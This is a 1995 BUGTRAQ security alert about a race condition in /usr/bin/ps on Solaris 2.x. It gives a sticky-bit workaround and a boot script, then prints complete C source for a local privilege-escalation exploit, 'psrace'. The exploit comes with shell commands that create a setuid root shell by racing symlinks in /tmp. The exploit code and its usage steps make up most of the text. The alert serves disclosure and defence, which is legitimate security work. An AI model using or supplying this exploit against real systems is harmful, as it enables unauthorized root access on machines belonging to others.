Date: Mon, 14 Aug 1995 15:26:33 MDT From: Scott Chasin To: Multiple recipients of list BUGTRAQ Subject: BUGTRAQ ALERT: Solaris 2.x vulnerability B U G T R A Q A L E R T bugtraq-alert-081495.01 August 14, 1995 =========================================================================== OPERATING SYSTEM(S): Solaris 2.x (Sunos 5.x) DESCRIPTION: A race condition exists in /usr/bin/ps when ps opens a temporary file when executed. After opening the file, /usr/bin/ps chown's the temporary file to root and the renames it to /tmp/ps_data. WORKAROUND: chmod +t /tmp Unfortunately this may not solve the entire problem. If your machine is rebooted and you are mounting swap as /tmp (most cases) the sticky-bit on your /tmp directory will disappear. Normally the boot script /etc/rc2.d/S05RMTMPFILES should be doing this work but will not if you are mounting your /tmp directory. The following is a bootup script should be added to ensure that the sticky bit stays. This file should be called /etc/rc3.d/S79tmpfix 8<------------------------- cut here ------------------------- #!/bin/sh #ident "@(#)tmpfix 1.0 95/09/14" if [ -d /tmp ] then /usr/bin/chmod 1777 /tmp /usr/bin/chgrp sys /tmp /usr/bin/chown sys /tmp fi 8<------------------------- cut here ------------------------- EXPLOIT: The following is exploit code that will allow you to change any file on a Solaris 2.x machine to uid 0 (as well as setuid files). 8<------------------------- cut here ------------------------- /* * psrace.c * * Copyright, 1995, by Scott Chasin (chasin@crimelab.com) * * This material is copyrighted by Scott Chasin, 1995. The * usual standard disclaimer applies, especially the fact that the * author is not liable for any damages caused by direct or indirect * use of the information or functionality provided by this program. * * [ For solaris2.x only ] * * After compiling psrace, run the following commands: * * cp /bin/ksh $HOME/rootshell; chmod 14755 $HOME/rootshell * /bin/sh -c 'while /bin/true ; do ps > /dev/null ; done' & * ./psrace $HOME/rootshell * * (Ignore any errors you get from ps) * You may have to wait a few minutes before the race is won. */ #include #include #include #include main (argc, argv) int argc; char **argv; { int count = 0; DIR *dirp; struct dirent *dp; struct stat fileinfo; char targetfile [85], name [85]; if (argc != 2) { printf ("Usage: psrace [/full/path/to/target/filename]\n"); exit (1); } if (access (argv[1], 0)) { printf ("psrace: %s does not exist.\n", argv[1]); exit (1); } strcpy (targetfile, argv[1]); stat ("/tmp", &fileinfo); if (fileinfo.st_mode & S_ISVTX) { printf ("psrace: Congratulations! You already have the fix in place.\n"); printf ("psrace: (/tmp has the sticky-bit set)\n"); exit (1); } printf ("Be patient, this could take awhile.\n"); printf ("Starting the race .. "); fflush (stdout); dirp = opendir ("/tmp"); for (;;) { unlink ("/tmp/ps_data"); while ((dp = readdir (dirp)) != NULL) { if (!strncmp (dp->d_name, "ps.", 3)) { sprintf (name, "/tmp/%s", dp->d_name); unlink (name); symlink (targetfile, name); if (stat (targetfile, &fileinfo) >= 0) if (fileinfo.st_uid == 0) { printf ("We WON!\n"); closedir (dirp); clean_up (); } } } rewinddir (dirp); } } clean_up () { DIR *dirp; struct dirent *dp; char name [25]; dirp = opendir ("/tmp"); while ((dp = readdir (dirp)) != NULL) if (!strncmp (dp->d_name, "ps.", 3)) { sprintf (name, "/tmp/%s", dp->d_name); unlink (name); } closedir (dirp); unlink ("/tmp/ps_data"); exit (0); } 8<------------------------- cut here ------------------------- =========================================================================== A thanks goes out to Neil Readwin (nreadwin@micrognosis.co.uk) who provided a few ideas in making the exploit code a bit more "enhanced". For questions regarding this alert, please feel free to mail me. For more discussion on this alert: bugtraq@crimelab.com Bugtraq reflector list bugtraq-request@crimelab.com Information / Request address Scott Chasin chasin@crimelab.com